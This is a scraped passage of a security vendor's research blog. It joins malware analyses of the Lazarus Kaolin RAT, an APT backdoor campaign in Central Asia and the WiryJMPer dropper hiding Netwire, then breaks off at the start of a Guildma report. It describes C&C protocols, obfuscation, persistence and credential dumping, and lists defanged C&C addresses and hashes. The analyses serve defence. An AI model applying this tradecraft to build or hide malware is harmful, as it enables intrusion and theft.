We are aware that the concealed data within the image serves as a parameter for a function responsible for transmitting data to the third C&amp;C server. Through our analysis, we have determined that the acquired data from the image corresponds to another address of the third C&amp;C server.&nbsp; Communication with the third C&amp;C server is initiated with a POST request.&nbsp;&nbsp;Malware authors strategically employ multiple C&amp;C servers as part of their operational tactics to achieve specific objectives. In this case, the primary goal is to obtain an additional data blob from the third C&amp;C server, as depicted in Figure 5, specifically in step 7. Furthermore, the use of different C&amp;C servers and diverse communication pathways adds an additional layer of complexity for security tools attempting to monitor such activities. This complexity makes tracking and identifying malicious activities more challenging, as compared to scenarios where a single C&amp;C server is employed.The malware then constructs a URL, by creating the query string with GET parameters (name/value pairs). The parameter name consists of a randomly selected word from the previously created dictionary and the value is generated as a random string of two characters. The format is as follows:&nbsp;<code>"%addressOfThirdC&amp;C%?%RandomWordFromDictonary%=%RandomString%"&nbsp;</code>The URL generation involves the selection of words from a generated dictionary, as opposed to entirely random strings. This intended choice aims to enhance the appearance and legitimacy of the URL. The words, carefully curated from the dictionary, contribute to the appearance of a clean and organized URL, resembling those commonly associated with authentic applications. The terms such as <code>"atype"</code>, <code>"User"</code>,” or <code>"type"</code> are not arbitrary but rather thoughtfully chosen words from the created dictionary. By utilizing real words, the intention is to create a semblance of authenticity, making the HTTP <code>POST </code>payload appear more structured and in line with typical application interactions. &nbsp;Before dispatching the <code>POST</code> request to the third layer of the C&amp;C server, the request is populated with additional key-value tuples separated by standard delimiters “?” and “=” between the key and value. In this scenario, it includes:&nbsp;<code>%RandomWordFromDictonary %=%sleep_state_in_minutes%?%size_of_configuration_data%&nbsp;&nbsp;</code>The data received from the third C&amp;C server is parsed. The parsed data may contain an integer, describing sleep interval, or a data blob. This data blob is encoded using the base64 algorithm. After decoding the data blob, where the first 4 bytes indicate the size of the first part of the data blob, the remainder represents the second part of the data blob.&nbsp;The first part of the data blob is appended to the <code>SECOND_ENCRYPTED_DLL</code> as an overlay, obtained from the binary blob. After successfully decrypting and decompressing&nbsp;<code>SECOND_ENCRYPTED_DLL</code>, the process involves preparing the <code>SECOND_ENCRYPTED_DLL</code>, which is a Remote Access Trojan (RAT) component to be loaded into memory and executed with the specific parameters.&nbsp;The underlying motivation behind this maneuver remains shrouded in uncertainty. It appears that the attacker, by choosing this method, sought to inject a degree of sophistication or complexity into the process. However, from our perspective, this approach seems to border on overkill. We believe that a simpler method could have sufficed for passing the data blob to the <code>Kaolin</code> RAT.&nbsp;&nbsp;The second part of the data blob, once decrypted and decompressed, is handed over to the <code>Kaolin</code> RAT component, while the <code>Kaolin</code> RAT is executed in memory. Notably, the decryption key and initialization vector for decrypting the second part of the data blob reside within its initial 32 bytes.&nbsp;&nbsp;<h2>Kaolin RAT</h2>A pivotal phase in orchestrating the attack involves the utilization of a Remote Access Trojan (RAT). As mentioned earlier, this <code>Kaolin</code> RAT is executed in memory and configured with specific parameters for proper functionality. It stands as a fully equipped tool, including file compression capabilities. &nbsp;However, in our investigation, the <code>Kaolin</code> RAT does not mark the conclusion of the attack. In the previous blog post, we already introduced another significant component – the <a href="https://decoded.avast.io/janvojtesek/lazarus-and-the-fudmodule-rootkit-beyond-byovd-with-an-admin-to-kernel-zero-day/">FudModule</a> rootkit. Thanks to our robust telemetry, we can confidently assert that this rootkit was loaded by the aforementioned <code>Kaolin</code> RAT, showcasing its capabilities to seamlessly integrate and deploy <code>FudModule</code>. This layered progression underscores the complexity and sophistication of the overall attack strategy.&nbsp;One of the important steps is establishing secure communication with the RAT’s C&amp;C server, encrypted using the AES encryption algorithm. Despite the unavailability of the binary containing the communication functionalities (the RAT also relies on functions imported from <code>FIRST_DLL_BINARY</code> for networking), our understanding is informed by other components in the attack chain, allowing us to make certain assumptions about the communication method.&nbsp;The <code>Kaolin</code> RAT is loaded with six arguments, among which a key one is the base address of the network module DLL binary, previously also used in the <code>RollMid</code> loader. Another argument includes the configuration data from the second part of the received data blob.&nbsp;For proper execution, the <code>Kaolin</code>&nbsp;RAT needs to parse this configuration data, which includes parameters such as:&nbsp;<ul><li>Duration of the sleep interval.&nbsp;</li><li>A flag indicating whether to collect information about available disk drives.&nbsp;</li><li>A flag indicating whether to retrieve a list of active sessions on the remote desktop.&nbsp;</li><li>Addresses of additional C&amp;C servers.&nbsp;</li></ul>In addition, the <code>Kaolin</code> RAT must load specific functions from <code>FIRST_DLL_BINARY</code>, namely:&nbsp;<ul><li><code>SendDataFromURL&nbsp;</code></li><li><code>ZipFolder&nbsp;</code></li><li><code>UnzipStr</code>&nbsp;</li><li><code>curl_global_cleanup</code>&nbsp;</li><li><code>curl_global_init</code>&nbsp;</li></ul>Although the exact method by which the <code>Kaolin</code> RAT sends gathered information to the C&amp;C server is not precisely known, the presence of exported functions like <code>"curl_global_cleanup"</code> and <code>"curl_global_init"</code> suggests that the sending process involves again API calls from the curl library.&nbsp;For establishing communication, the <code>Kaolin</code> RAT begins by sending a <code>POST</code> request to the C&amp;C server. In this first <code>POST</code> request, the malware constructs a URL containing the address of the C&amp;C server. This URL generation algorithm is very similar to the one used in the <code>RollMid</code> loader. To the C&amp;C address, the <code>Kaolin</code> RAT appends a randomly chosen word from the previously created dictionary (the same one as in the <code>RollMid</code> loader) along with a randomly generated string. The format of the URL is as follows:&nbsp;<code>"%addressOfC&amp;Cserver%?%RandomWordFromDictonary%=%RandomString%"&nbsp;</code>The malware further populates the content of the <code>POST</code> request, utilizing the default <code>"application/x-www-form-urlencoded"</code> content type. The content of the <code>POST</code> request is subject to AES encryption and subsequently encoded with base64.&nbsp;Within the encrypted content, which is appended to the key-value tuples (see the form below), the following data is included <code>(EncryptedContent)</code>:&nbsp;<ul><li>Installation path of the <code>RollFling</code> loader and path to the binary blob&nbsp;</li><li>Data from the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\Iconservice&nbsp;</li><li><code>Kaolin</code> RAT process ID&nbsp;</li><li>Product name and build number of the operating system.&nbsp;</li><li>Addresses of C&amp;C servers.&nbsp;</li><li>Computer name&nbsp;</li><li>Current directory&nbsp;</li></ul>In the <code>POST</code> request with the encrypted content, the malware appends information about the generated key and initialization vector necessary for decrypting data on the backend. This is achieved by creating key-value tuples, separated by “&amp;” and “=” between the key and value. In this case, it takes the following form:&nbsp;<code>%RandomWordFromDictonary%=%TEMP_DATA%&amp;%RandomWordFromDictonary%=%IV%%KEY%&amp;%RandomWordFromDictonary%=%EncryptedContent%&amp;%RandomWordFromDictonary%=%EncryptedHostNameAndIPAddr%&nbsp;</code>Upon successfully establishing communication with the C&amp;C server, the <code>Kaolin</code> RAT becomes prepared to receive commands. The received data is encrypted with the aforementioned generated key and initialization vector and requires decryption and parsing to execute a specific command within the RAT.&nbsp;When the command is processed the <code>Kaolin</code> RAT relays back the results to the C&amp;C server, encrypted with the same AES key and IV. This encrypted message may include an error message, collected information, and the outcome of the executed function.&nbsp;The <code>Kaolin</code> RAT has the capability to execute a variety of commands, including:&nbsp;<ul><li>Updating the duration of the sleep interval.&nbsp;</li><li>Listing files in a folder and gathering information about available disks.&nbsp;</li><li>Updating, modifying, or deleting files.&nbsp;</li><li>Changing a file’s last write timestamp.&nbsp;</li><li>Listing currently active processes and their associated modules.&nbsp;</li><li>Creating or terminating processes.&nbsp;</li><li>Executing commands using the command line.&nbsp;</li><li>Updating or retrieving the internal configuration.&nbsp;</li><li>Uploading a file to the C&amp;C server.&nbsp;</li><li>Connecting to the arbitrary host.&nbsp;</li><li>Compressing files.&nbsp;</li><li>Downloading a DLL file from C&amp;C server and loading it in memory, potentially executing one of the following exported functions:&nbsp;<ul><li><code>_DoMyFunc&nbsp;</code></li><li><code>_DoMyFunc2&nbsp;</code></li><li><code>_DoMyThread (executes a thread)</code>&nbsp;</li><li><code>_DoMyCommandWork</code>&nbsp;</li></ul></li><li>Setting the current directory.</li></ul><h2>Conclusion</h2>Our investigation has revealed that the Lazarus group targeted individuals through fabricated job offers and employed a sophisticated toolset to achieve better persistence while bypassing security products. Thanks to our robust telemetry, we were able to uncover almost the entire attack chain, thoroughly analyzing each stage. The Lazarus group’s level of technical sophistication was surprising and their approach to engaging with victims was equally troubling.&nbsp;It is evident that they invested significant resources in developing such a complex attack chain. What is certain is that Lazarus had to innovate continuously and allocate enormous resources to research various aspects of Windows mitigations and security products. Their ability to adapt and evolve poses a significant challenge to cybersecurity efforts.&nbsp;<h2>Indicators of Compromise (IoCs)&nbsp;</h2>ISO b8a4c1792ce2ec15611932437a4a1a7e43b7c3783870afebf6eae043bcfade30&nbsp;RollFling a3fe80540363ee2f1216ec3d01209d7c517f6e749004c91901494fb94852332b&nbsp;NLS files 01ca7070bbe4bfa6254886f8599d6ce9537bafcbab6663f1f41bfc43f2ee370e 7248d66dea78a73b9b80b528d7e9f53bae7a77bad974ededeeb16c33b14b9c56&nbsp;RollSling e68ff1087c45a1711c3037dad427733ccb1211634d070b03cb3a3c7e836d210f f47f78b5eef672e8e1bd0f26fb4aa699dec113d6225e2fcbd57129d6dada7def&nbsp;RollMid 9a4bc647c09775ed633c134643d18a0be8f37c21afa3c0f8adf41e038695643e&nbsp;Kaolin RAT a75399f9492a8d2683d4406fa3e1320e84010b3affdff0b8f2444ac33ce3e690&nbsp;

Cyber Threat Discoveries: Key Highlights

From BYOVD to a 0-day: Unveiling Advanced Exploits in Cyber Recruiting Scams

Last fall, APT malware intrusions targeting high-profile companies in Central Asia caught our attention. A few months later, we began working together with fellow malware analysts from <a href="https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia/">ESET</a> to analyze samples used by the group to spy on a telecommunications company, a gas company, and a governmental institution in Central Asia. An APT group, which we believe could possibly be from China, planted backdoors to gain long-term access to corporate networks. Based on our analysis, we suspect the group was also behind attacks active in Mongolia, Russia, and Belarus.The group behind the attack frequently recompiled their custom tools to avoid AV detection, which, in addition to the backdoors, included Mimikatz and Gh0st RAT. This has led to a large number of samples, with binaries often protected by VMProtect, making analysis more difficult.The backdoors gave the actors the ability to manipulate and delete files, take screenshots, manipulate processes, and services, as well as execute console commands, remove itself, and more. Further, some commands may have instructed the backdoors to exfiltrate data to a C&amp;C server. Infected devices could also be commanded by a C&amp;C server to act as a proxy or listen on a specific port on every network interface. The group also used tools such as Gh0st RAT and Management Instrumentation to move laterally within infiltrated networks.<h2>Timeline</h2>

Avast’s and Eset’s antivirus engines blocked the samples used by the APT group prior to it attracting our attention, as our antivirus engines’ detections are automated.<h2>Attribution &amp; Clusterization</h2>The samples we analyzed contain links to malware samples and campaigns, such as <a href="https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636/">Microcin</a>, <a href="https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan/">BYEBY</a>, and <a href="https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/">Vicious Panda</a>, previously described by Kaspersky, Palo Alto Networks, and Check Point, respectively. The backdoors we found are custom tools that have not previously been analyzed, as far as we know. The majority of the C&amp;C servers are registered to Choopa, LLC, a hosting platform that has been used by cybercriminals in the <a href="https://umbrella.cisco.com/blog/phishing-spiking-and-bad-hosting">past</a>. A GoDaddy registrar was also seen early in the campaign, these servers were removed early on. We suspect the APT group behind these attacks is from China. Gh0st RAT, one of the tools used, has been known to be used by Chinese APT groups in the past. Similarities in the code used in the <a href="https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/">Vicious Panda campaign</a>, (TTPS, especially the use of the RTF Weaponizer in the infection vector), which is also thought to have come from China, and the code we analyzed, also lead us to believe the group might be from China. The targeted companies and institutions, as well as the professional coding point to an APT group. &nbsp;<h2>Toolset</h2><h3>Backdoors</h3>Throughout our analysis, we stumbled upon the following backdoors. Details on these backdoors are provided below the complete list of backdoors.sqllauncher.dll (VMProtected backdoor)<ul><li data-list-item-id="e61af4e24e636f2067506ba94df526793">bbc5a9a49757abdbfcaca22f3b2a8b7e79f61c30d31812a0ccc316536eb58ca3</li><li data-list-item-id="e7ebf3f0369ee0e2ae0008e06d18cf19e">C&amp;C server 45.76.132[.]207</li></ul>logon.dll (VMProtected backdoor)<ul><li data-list-item-id="ed02bb59b0d2ec00acefa4ac22fe104b5">61e4c91803d0d495681400fb9053b434f4852fdad1a305bbcec45ee0b2926d6a</li><li data-list-item-id="e469977808bb524c701d67ddc69e56c5d">C&amp;C server 45.76.132[.]207</li></ul>logsupport.dll (VMProtected backdoor)<ul><li data-list-item-id="e4af3978cb0f65f80821c55cbe0670383">&nbsp;d5c1e947d84791ac8e6218652372905ddb7d3bc84ff04e709d635f60e7224688</li><li data-list-item-id="ee28a4fd3196249a607499a617e318d73">C&amp;C server&nbsp; 104.194.215[.]194</li></ul>pcaudit.bat<ul><li data-list-item-id="e426368741f3819c63e0879da5e4b5a80">1395B863AE5697EA5096F4E2EBEF54FC20D5380B6921F8835D1F030F2BA16A40</li></ul><h2>Technical details (pcaudit.bat)</h2>pcaudit.bat is a batch file that is used to invoke the svchost.exe in order to load the DLL file for a given service specified in the registry. This batch file is responsible for the backdoor’s persistence. The contents of the pcaudit.bat script can be found below:

<h2>Technical details (sqllauncher.dll, logon.dll)&nbsp;</h2>Both DLLs, sqllauncher.dll and logon.dll, are primarily used as backdoors. These are installed as services by the aforementioned batch file. They both create a log file under the path: %COMMON_DOCUMENT%\WZ9JuN00.tmp aggregating errors during the backdoor’s runtime. Each entry contains an error code, an error message, and a timestamp formatted as “[yyyy-mm-dd hh-mm-ss] %error code% %message%”.If the infected device can’t connect to the C&amp;C server, the malware attempts to determine whether the traffic is routed through a proxy. This information may be retrieved either from %WINDOWS%\debug\netlogon.cfg or from the TCP table. After successfully connecting to the C&amp;C server, a secure communication channel (Schannel) is established and telemetry (OS version, username) is sent to the C&amp;C server. The following commands are issued by the C&amp;C server:

<h2>Technical details (logsupport.dll)</h2>Similarly to the previous DLLs, the logsupport.dll is primarily used as a backdoor, but uses a different C&amp;C server than the other backdoors. Its corresponding log file is located at %TEMP%\rar%[A-Z0-9]{4}%.tmp. The structure of the log file is also the same. The main difference is that the log file is encrypted by a XOR cipher with a hardcoded key.

This backdoor checks whether the malware is running in a virtualized environment. Additionally, the DLL fingerprints the infected device (NETBIOS name, IP address, username, OS version, MAC address and RAM usage, OEM code page, token information, number of CPU cores, is64bit), and sends this information to the C&amp;C server.The communication with the C&amp;C server is encrypted by a simple stream cipher. If the malware fails to establish an encrypted channel, it checks whether a proxy is being used, using different methods than the previous two DLLs. It tries to connect to http://www.google.com/index.asp and retrieve information about a possible proxy from the connection, and it also checks the value of ProxyServer in the Windows registry key:HKLM\Software\Microsft\Windows\CurrentVersion\Internet Settings.Based on what we saw in the code, the backdoor is also capable of accepting various commands from the C&amp;C server. These commands allow the backdoor to manipulate files (move, read, delete, check existence), manipulate processes (create, terminate, retrieve parent, and process ID) and Windows services (start, stop, check), execute console commands, remove itself, and more. Some of these commands (read/check file, check services, check processes) also send data back to C&amp;C. The infected device can also be commanded by C&amp;C to act as a proxy or listen on a specific port on every network interface.Interestingly, the backdoor has a set of commands specifically targeting files with .tu and .tut file extension. These commands may similarly check for their existence, send their content back to the C&amp;C, and modify their content (append or rewrite by data given by the C&amp;C server).<h2>Other tools</h2><h3>Lateral Movement via Mimikatz &nbsp;</h3>fc66353fb26fd82227700beb47c4fa90118cea151eb1689fd8bf48e93fda71d0<a href="https://github.com/gentilkiwi/mimikatz">Mimikatz </a>is an open source project by a French security researcher named Benjamin Delpy which started in 2007. It is a robust tool that exploits various Windows authentication schemes and dumps credential-related data from a Windows Local Security Account database. For these reasons it is often misused by a wide spectrum of APT actors such as the Lazarus Group or Telebots.The Mimikatz version used in this campaign has a two-stage installation mechanism (installer.exe installing Yokel64.exe and mktz64.dll), and contains a PDB string “E:\2018_\MimHash\mimikatz\Bin\mktzx64.pdb”. Calling a mktz64.dll exported function MktzDumpbyInjection inside our testing virtual machine yields the following output:

<h3>Lateral Movement via WMI</h3> 2615e5585a5db77b973c74e0a87551978a9322c820362a148a995e571923b59cThe lateral movement via WMI is done with a file that parses its own filename, which we&nbsp;suspect uses the following format: “@@&lt;ComputerName&gt;,&lt;UserName&gt;,&lt;Password&gt;,.exe”. Afterwards, the data described in the filename is extracted and used to establish a remote console to a computer identified by the retrieved name. Afterwards, Windows Management Instrumentation (WMI) is leveraged to set a strict proxy security, leading to the encryption of arguments of each remote procedure call, and allowing the server to access local resources. Then WMI is used again to retrieve the Win32_Process class which in turn is used to create a process with given parameters. At the end, it terminates itself.<h3>Gh0st RAT</h3>3a3b05a08180013a37fbdbe65e3fe017440c1cb34289647ef1f60316964ef6a9Gh0st RAT is an old well-known backdoor, predominantly associated with East-Asian attackers. It is commonly assumed that its source code is widely available. Its presence is often indicated by a file named rastls.dll, using an export DLL name svchost.dll and containing a string Gh0st. A string uwqixgze} is used as a placeholder for the C&amp;C domain.The version we’ve seen in this campaign tries to connect to https://yuemt.zzux[.]com.

<h2>Code Similarities</h2>While analyzing one of the files, we noticed that it has several correlations to the Microcin sample from 2017, the BYEBY sample from 2017, and Vicious Panda: The COVID campaign from 2020. Figure 5 below provides a comparison of the decryption loop used to decrypt the main configuration data of the first backdoor.

<h2>Conclusion</h2>Avast reported its findings to the local CERT team and reached out to the telecommunications company. We have not heard back from either organization.Avast has recently protected users in Central Asia from further attacks using the samples we analyzed. This, along with tying elements of the samples we discovered back to attacks carried out on other countries, makes me assume the group is still active.&nbsp;I would like to thank Peter Kalnai from ESET for working with me on the analysis, Lukáš Obrdlík, and Adolf Středa from Avast for helping me with this research, as well as Alexey Shulmin from Kaspersky for his support.<h2>Indicators of Compromise (IoC)</h2><ul><li data-list-item-id="e1d687f1d28d3a46c378c00ce4423ca15">&nbsp;Repository:&nbsp;<a href="https://github.com/avast/ioc/tree/master/Microcin">https://github.com/avast/ioc/tree/master/Microcin</a></li><li data-list-item-id="e6c1bcebafebdbf8be470a24cc0cd0d4e">List of SHA-256:&nbsp;<a href="https://github.com/avast/ioc/blob/master/Microcin/samples.sha256">https://github.com/avast/ioc/blob/master/Microcin/samples.sha256</a></li></ul>

Malware intrusions targeting companies in Central Asia

APT group planted backdoors targeting high profile networks in Central Asia

Mgr, Threat Analysis Engineering

Threat Research Team

The story of how we conquered WiryJMPer’s obfuscation begins with a simple binary file posing as an ABBC Coin wallet. We found the file suspicious, as the file size was three-times as big as it should be, and the strings in the file corresponded to other software WinBin2Iso (version 3.16) from SoftwareOK. ABBC Coin (originally Alibaba Coin, not affiliated with Alibaba Group) is an altcoin, one of many blockchain-based cryptocurrencies. WinBin2Iso, on the other hand, is software that converts various binary images of CD/DVD/Blu-ray media into the ISO format. Behavioral analysis revealed that the&nbsp;binary, posing as an ABBC Coin wallet, is a dropper, which we will, from now on, refer to as WiryJMPer. WiryJMPer hides a Netwire payload between two benign binaries.The first stage of the payload innocently appears as a regular WinBin2Iso binary with a suspiciously large .rsrc section. The JMP instruction, which is normally part of a loop handling window messages, jumps into the .rsrc section where a roller-coaster of control flow begins. This causes an unresponsive WinBin2Iso window to appear briefly before being replaced by a ABBC Coin wallet window. This window is always shown at startup and thus it is a good indicator of infection.While this functionality isn’t novel in any sense and no sandbox evasion was utilized, the obfuscation was uncommon enough to gain our attention. The combination of control flow obfuscation and low level code abstraction made the analysis of the malware’s workflow rather tedious. This, in combination with the low detection rate on VirusTotal (6 out of 66 as of 7/8/2019), provided us a great excuse to rummage through our toolbox to perform the analysis. Moreover, during the analysis, we found that the obfuscated loader also utilises a (possibly) custom stack-based virtual machine during the RC4 key schedule, which aroused our interest even more.Due to the aforementioned reasons and low overall prevalence, this analysis will focus on the obfuscation itself. Resulting side-effects and the malware’s functionality, will be mostly mentioned as side-notes.<h2>High-level overview</h2>The malware starts in the WinBin2Iso binary that has a patched jump. This jump leads to the .rsrc section, where a loader is decrypted, loaded into memory and relocations are made.

This loader then handles everything until the control flow is redirected to Netwire. It loads ntdll.dll into the memory, decrypts some auxiliary data such as LNK filename or RC4 decryption password. Afterwards, it decrypts Netwire, which is also loaded into the memory, and the “decoy” binary (ABBC Coin wallet in this case), which is saved onto the disk.

Subsequently, the control flow is redirected into Netwire. Netwire is a pretty much standard remote access tool, no significant modifications were made. The Netwire C&amp;C lies at <code>46.166.160[.]158</code>, this address was unfortunately unresponsive at the time we performed our&nbsp; analysis.The loader also tries to achieve persistence by copying the original binary to <code>%APPDATA%\abbcdriver.exe</code> and by creating an LNK file, leading to this binary, in the startup folder.<h2>Accessing the loader</h2>The code following the patched jump consists of many small code blocks connected by a network of jumps. This makes the binary rather hard to (statically) analyze without any preprocessing. With the help of an emulator, we are able to reconstruct the call graph and concatenate some of these blocks. While this approach still yields rather unpleasant results, it allowed us to get rid of some dummy instructions and simplify the control flow. Note that this obfuscation also utilises so called opaque predicates, i.e. conditional jumps with one branch that will never be reached. If we wanted to keep the analysis static, we would have to employ e.g. symbolic execution or other heuristics to resolve these jumps. However, for the purpose of our analysis, a simple heuristic, where the code following the conditional branch should lead to “reasonable” instructions, was good enough.

Brief inspection of the sandbox behavioral log reveals two calls of <code>RtlDecompressBuffer</code>, the second one decompressing our Netwire payload. Unfortunately, addresses of the compressed buffers lead to addresses allocated during the execution, meaning that we cannot access them directly during static analysis, and thus we will have to dive deeper in order to retrieve the payload.

The first RtlDecompressBuffer call takes data loaded by rep movsb at <code>0x01e6d44f</code>. This instruction loads the data from the binary itself into an allocated memory (VirtualAlloc). Since user-space debuggers were probably detected by the sample, we decided to use a kernel debugger that got us to the offset that’s under ESI (<code>0x004f9000</code>), which leads to data in the .rsrc section. A brief check whether this data matches the input to RtlDecompressBuffer reveals that the data is encrypted. Fortunately, the decryption loop is located right after the block with <code>rep movsb</code>.

Looking at the XORing at <code>0x1e75ad6 </code>we see that our key is hidden in EBX which is coincidentally loaded just before our <code>rep movsb</code> at <code>0x01e727a5</code>. Furthermore, we can see that the key is static and thus the whole buffer is XORed by <code>0xca81c398</code>. This buffer is then decompressed by the aforementioned RtlDecompressedBuffer.This resolved our first question: where is the compressed loader located? Now two questions remain unresolved: where can we find Netwire payload and where is the “decoy” (ABBC Coin wallet) binary that is launched at the end?<h2>Loader relocation</h2>Before the execution flow moves into the loader from the .rsrc section, the relocation has to be made due to the undeterministic nature of VirtualAlloc (and the presence of absolute jumps in the loader). The relocation is implemented in the same way as standard relocations in PE files. The relocation table has the following structure:

The offset of the instruction to be patched is calculated in the following way: <code>reloc_high + reloc_low[i] &amp; 0xfff + allocated_memory_base</code>Unsurprisingly, the difference between the original base (<code>0x10000000</code>) and the base of the VirtualAlloc-ed memory is added to the residing 32-bit value. The list of <code>reloc_low</code> is iterated until the iterator points to the next row of the relocation table.<h2>Accessing the payloads</h2>Since Netwire payload is unpacked using RtlDecompressBuffer, it should be easily trackable using the very same tricks we used before. However, since there is other stuff being dropped or extracted, we used VirtualAlloc for our breakpoints instead.The first VirtualAlloc, coming after the unpacked loader, prepares space for ntdll.dll that is loaded with NtReadFile. This is becoming a rather common anti-debugging trick as debuggers mostly do not recognize calls into this manually copied DLL.Now this is where it gets more interesting. The second VirtualAlloc is made for some internal configuration (LNK file name, RC4 key that will be used later on) that is located in the .rsrc section (<code>0x01e632ac</code>). Again, this binary blob is encrypted by a simple XOR cipher with a key <code>0x98c381ca</code>. From now on, we’ll start with an assumption that everything is encrypted by the XOR cipher with a hardcoded key, this may simplify the analysis as it is straightforward to recover the key from the plaintext-ciphertext pair.Our assumption failed immediately on the next payload (<code>0x004899B6</code>), its decryption loop contained the following instructions (note that we have removed superfluous jumps):

This is a keystream generation loop of the RC4 cipher. This brings us to another problem – we would like to find the key that was used to instantiate the table at <code>0x09458248</code>. Unfortunately, the key schedule for the RC4 cipher is obfuscated by a stack-based virtual machine and thus we started to debug again. To illustrate the following process, we will recall the RC4 key schedule algorithm (see Python implementation below).

This time, we have set a breakpoint on the virtual machine’s instruction that is used to write to the table which allows us to recover the state of registers and thus access addresses of <code>S[i]</code> and <code>S[j]</code>. By subtracting the RC4 table’s base address, we obtained the respective indices <code>i</code> and <code>j</code>. Now, it’s trivial to step through the RC4 key schedule and recover bytes of the key from the index <code>j</code>. More specifically, we obtain a sequence:<code>105, 120, 89, 105, 77, 70, 82, 88, 56, 83, 78, 70, 68, 74, 112, 72, 104, 85, 82, 121, 105, 120, 89, 105, 77, 70, 82, 88, 56, 83, 78, 70, 68, 74, 112, 72, 104, 85, 82, 121, 105, 120, 89, 105, 77, 70, 82, 88, 56, 83, 78, 70, 68, 74, 112, 72, 104, ...</code>This sequence obviously has repetitions (highlighted in bold) and these values seem to fall into the printable ASCII range. Using these observations, we recover the RC4 key: <code>ixYiMFRX8SNFDJpHhURy</code>. This key was loaded from the buffer, located in the second VirtualAlloc-ed memory (containing the internal configuration), into the loader. The decryption of this blob yields the ABBC Coin wallet binary.Interestingly, the extracted binary matches the real ABBC Coin wallet (<a href="https://github.com/abbc-foundation/abbc/tree/fa087fc3fcd9ed395c49fb70a3453a94ae09ad8e/binaries/Windows">version 3.9.1</a>). Later on, this binary will be extracted into the temporary directory under a name matching the following regular expression: <code>[A-Za-z]{5}\.exe</code>, and executed right away. We suppose that this is intended to mask the real purpose of the original binary. This payload will not be executed if the original binary is already in the <code>%APPDATA%</code> directory. Incidentally, this is the location where the original binary is copied to and thus it won’t launch the ABBC Coin wallet if ran at startup (through the aforementioned LNK file).While we will discuss the virtual machine itself in the <a href="https://decoded.avast.io/adolfstreda/the-tangle-of-wiryjmpers-obfuscation/#vm">Virtual Machine</a> section, we will have a brief look at its part, which is called a dispatcher (actually WiryJMPer has three more similar dispatchers). You may notice one detail:

Recall that the memory, where the loader resides, had been allocated by VirtualAlloc before calling the RtlDecompressBuffer and the virtual machine is in the loader. Therefore, bytes at the address <code>0x0034AF8C </code>couldn’t have been set with this offset from the beginning and had to be patched during runtime as the address range for the loader is not known beforehand. This also indicates the need for relocations.Now, we just need to find Netwire in the sample. We used the same approach to find VirtualAlloc that allocates memory for Netwire, we set a breakpoint on the write and then found a location from which Netwire is copied (offset <code>0x01e585b6 </code>in .rsrc section). Luckily for us, it was encrypted using RC4 with the same key. The decryption yields a UPX packed Netwire, thus concluding the payload extraction and confirming its presence hinted by the sandbox behavioral log.<h2 id="vm">Virtual machine</h2>During the analysis, we discovered that the RC4 key schedule was implemented in a custom stack-based virtual machine.

The first part of every virtual machine is a dispatcher. WiryJMPer’s virtual machine uses four distinct switch dispatchers. In general, switch dispatchers jump to the code corresponding to the desired instruction via switch statements or similar constructions. The instruction is translated into a specific address or offset via a jump table, pushed onto the stack and the instruction <code>ret</code> is called, although other constructions are also possible. The typical setting is shown on the diagram below, but note that WiryJMPer’s virtual machine is more complex as it has more dispatchers and the stack-overflow check does not follow all instructions.

Since every virtual instruction has to deterministically reach either the dispatcher or exit the virtual machine, we tried to reach these instructions by tracking references leading to these dispatchers. As this virtual machine is stack-based, arguments are passed through stack instead of registers. General purpose registers are mostly used locally, although some registers, such ESI (instruction pointer), ESP (stack frame base) or EBP (stack top), have a global effect on the virtual machine.Instructions are rather similar to, for instance, the <a href="https://github.com/xiaoweime/WProtect">WProtect</a> virtual machine – arithmetic operations, jumps, memory/stack writes and reads, etc. We assumed a typical setting where registers are put onto specific positions in the stack during the initialization and then loaded back from these positions on exit. Due to the amount of instructions (and some duplicities), we will only provide a few examples of these instructions.

<h2>Similar files</h2>We&nbsp; found files utilising the same scheme – WinBin2Iso binary patched to unpack Netwire and another binary. For example,&nbsp; the decoy payload led to a different, yet legitimate, installer of Bitcoin Core (version 0.18.0). Others led to the Yoroi wallet, Neon wallet, ZecWallet, DigiByte Core, OWallet, Verge core wallet and others. The common denominator seems to be cryptocurrency wallets.<h2>Conclusion</h2>While the malware’s functionality isn’t very innovative, it has managed to pass under the radar for some time, probably due to obfuscation and rather low prevalence. The utilised obfuscation was easily overcome by behavioral analysis, nevertheless it served well in obfuscating details of the malware’s operation. Rather slow setup of the decoy showing multiple windows with unrelated titles may be suspicious enough for power-users, on the other hand, providing the “decoy” binary might be comforting enough for ordinary users.<h2>Indicators of Compromise (IoC)</h2><ul><li data-list-item-id="e39a2ca3177970714bf68a62c21b97433">Repository: <a href="https://github.com/avast/ioc/tree/master/WiryJMPer">https://github.com/avast/ioc/tree/master/WiryJMPer</a></li><li data-list-item-id="e27565f92f4ddbee349c4dc18b2a0bf29">List of SHA-256: <a href="https://github.com/avast/ioc/blob/master/WiryJMPer/samples.sha256">https://github.com/avast/ioc/blob/master/WiryJMPer/samples.sha256</a></li></ul><h3>Analyzed sample</h3>

Netwire payload C&amp;C: <code>46.166.160[.]158</code><h3>Similar samples</h3>

How We Deciphered WiryJMPer’s Complex Obfuscation

The tangle of WiryJMPer’s obfuscation

For several months now, we have been tracking malware called Guildma. Guildma is powerful combination of a RAT (remote access tool), spyware, password stealer and banker malware, mainly distributed via malicious attachments in phishing email campaigns.&nbsp; &nbsp;The cybercriminals behind Guildma have primarily focused on targeting Brazilian users and services, but since May 2019 they have expanded their target pool and are now targeting more than 130 banks and 75 other web services around the world. &nbsp;We estimate that the first versions of Guildma were created in 2015, based on the available clues in our analysis and previous research conducted on Guildma. Malware researchers have done some analysis of Guildma in the past, but only focused on the first stages of the malware. Our analysis provides detailed information about all of Guildma’s stages, module functionality, C&amp;C servers, commands and a long list of targeted services and applications, as well as a description of the evolution of features.&nbsp; &nbsp;The malware authors have used large amounts of domains, various infection and stealing techniques, and programming languages (Delphi, JS, VBS,..) during Guildma’s long existence, but, on the other hand, they also used the same or very similar code patterns like encryption algorithm and seeds, URL path format, variables or file names. With these patterns, we have been able to track the entire campaign with high accuracy, even if some parts of the malware or modules have been changed.<h2>Campaign overview</h2>The campaign spreads via phishing emails posing as invoices, tax reports, invitations and similar types of messages containing a ZIP archive attachment with a malicious LNK file. When a user opens the malicious 